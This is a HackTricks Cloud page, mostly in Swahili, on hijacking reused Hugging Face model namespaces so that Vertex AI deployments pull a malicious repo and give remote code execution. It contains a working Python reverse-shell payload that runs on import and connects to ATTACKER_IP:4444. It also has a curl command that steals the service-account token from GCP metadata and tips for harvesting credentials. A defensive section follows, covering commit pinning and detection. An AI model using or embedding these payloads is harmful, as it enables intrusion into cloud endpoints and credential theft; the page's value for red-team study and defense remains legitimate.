GCP - Vertex AI Post-Exploitation via Hugging Face Model Namespace Reuse
Reading time: 6 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Mfano
- Vertex AI Model Garden inaruhusu uenezaji wa moja kwa moja wa modeli nyingi za Hugging Face (HF).
- HF model identifiers are Author/ModelName. Ikiwa author/org kwenye HF imefutwa, jina hilo la author linaweza kusajiliwa tena na mtu yeyote. Washambuliaji wanaweza kisha kuunda repo yenye ModelName sawa kwenye legacy path.
- pipelines, SDKs, au cloud catalogs ambazo zinapiga request kwa jina tu (hakuna pinning/integrity) zitatokeza repo iliyodhibitiwa na mshambuliaji. Wakati modeli itakapotekelezwa, loader code kutoka kwa repo hiyo inaweza kutekelezwa ndani ya Vertex AI endpoint container, ikitoa RCE pamoja na ruhusa za endpoint.
Miundo miwili ya kawaida ya takeover kwenye HF:
- Uondoaji wa umiliki: Old path 404 hadi mtu asijisajilishe tena kama author na kuchapisha ModelName sawa.
- Uhamisho wa umiliki: HF inatoa 307 redirects kutoka old Author/ModelName kwenda kwa author mpya. Ikiwa author wa zamani baadaye afutwe na kusajiliwa tena na mshambuliaji, mnyororo wa redirect utavunjika na repo ya mshambuliaji itahudumia kwenye legacy path.
Kutambua Namespaces Zinazoweza Kutumika Tena (HF)
- Old author deleted: ukurasa wa author unarudisha 404; model path inaweza kurudisha 404 hadi takeover.
- Transferred models: old model path inatoa 307 kwenda kwa mmiliki mpya wakati author wa zamani bado yupo. Ikiwa author wa zamani baadaye afutwe na kusajiliwa tena, legacy path itatangazwa kwa repo ya mshambuliaji.
Quick checks with curl:
# Check author/org existence
curl -I https://huggingface.co/<Author>
# 200 = exists, 404 = deleted/available
# Check old model path behavior
curl -I https://huggingface.co/<Author>/<ModelName>
# 307 = redirect to new owner (transfer case)
# 404 = missing (deletion case) until someone re-registers
Mtiririko kamili wa shambulio dhidi ya Vertex AI
- Gundua namespaces za modeli zinazoweza kutumika tena ambazo Model Garden inaorodhesha kama zinazoweza ku-deploy:
- Tafuta modeli za HF katika Vertex AI Model Garden ambazo bado zinaonyesha kama “verified deployable”.
- Thibitisha kwenye HF ikiwa mwandishi wa asili ameondolewa au ikiwa modeli ilihamishwa na mwandishi wa zamani baadaye kuondolewa.
-
Sajili tena mwandishi aliyeondolewa kwenye HF na uunde tena ModelName ile ile.
-
Chapisha repo yenye madhara. Jumuisha code inayotekelezwa wakati wa kupakia modeli. Mifano inayotekelezwa mara kwa mara wakati wa kupakia modeli za HF:
- Side effects katika init.py ya repo
- modeling_*.py maalum au code ya processing inayorejelewa na config/auto_map
- Njia za code zinazohitaji trust_remote_code=True katika Transformers pipelines
-
Deployment ya Vertex AI ya Author/ModelName ya zamani sasa inavuta repo ya mshambuliaji. Loader inatekelezwa ndani ya container ya endpoint ya Vertex AI.
-
Payload inapanua ufikiaji kutoka kwa mazingira ya endpoint (RCE) kwa ruhusa za endpoint.
Mfano wa kipande cha payload kinachotekelezwa kwa import (kwa ajili ya maonyesho tu):
# Place in __init__.py or a module imported by the model loader
import os, socket, subprocess, threading
def _rs(host, port):
s = socket.socket(); s.connect((host, port))
for fd in (0,1,2):
try:
os.dup2(s.fileno(), fd)
except Exception:
pass
subprocess.call(["/bin/sh","-i"]) # Or python -c exec ...
if os.environ.get("VTX_AI","1") == "1":
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
Vidokezo
- Loaders za maisha halisi zinatofautiana. Integrations nyingi za Vertex AI HF hufanya clone na kuimport modules za repo zinazorejelewa na config ya modeli (mfano, auto_map), ambayo inaweza kusababisha execution ya code. Matumizi mengine yanahitaji trust_remote_code=True.
- Endpoint kwa kawaida inaendesha ndani ya container maalum yenye wigo mdogo, lakini ni foothold halali ya awali kwa upatikanaji wa data na movement ya upande upande ndani ya GCP.
Post-Exploitation Tips (Vertex AI Endpoint)
Mara tu code inapokuwa ikifanya kazi ndani ya endpoint container, fikiria:
- Kuorodhesha environment variables na metadata kwa ajili ya credentials/tokens
- Kupata attached storage au mounted model artifacts
- Kushirikiana na Google APIs kupitia service account identity (Document AI, Storage, Pub/Sub, etc.)
- Persistence katika model artifact ikiwa platform itarudisha repo
Orodhesha instance metadata ikiwa inapatikana (container dependent):
curl -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Mwongozo wa Ulinzi kwa Watumiaji wa Vertex AI
- Pin modeli kwa commit katika HF loaders ili kuzuia ubadilishaji kimya:
from transformers import AutoModel
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
- Nakilisha HF models zilizothibitishwa kwenye trusted internal artifact store/registry na uzizindue kutoka huko.
- Endelea kupiga skani codebases na configs kwa ajili ya hard-coded Author/ModelName ambazo zimefutwa/hamishwa; sasisha hadi namespaces mpya au ziweke pinned kwa commit.
- Kwenye Model Garden, hakikisha provenance ya model na uwepo wa author kabla ya deployment.
Vigezo vya Utambuzi (HTTP)
- Author iliyofutwa: ukurasa wa author 404; legacy model path 404 hadi takeover.
- Model iliyohamishwa: legacy path 307 kwa author mpya wakati author wa zamani bado yupo; ikiwa author wa zamani baadaye afutwe na kujiandikisha tena, legacy path itahudumia maudhui ya mshambuliaji.
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
Marejeo ya Msalaba
- Angalia mbinu pana na vidokezo vya mnyororo wa usambazaji:
Marejeo
- Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)
- Hugging Face: Renaming or transferring a repo
tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
HackTricks Cloud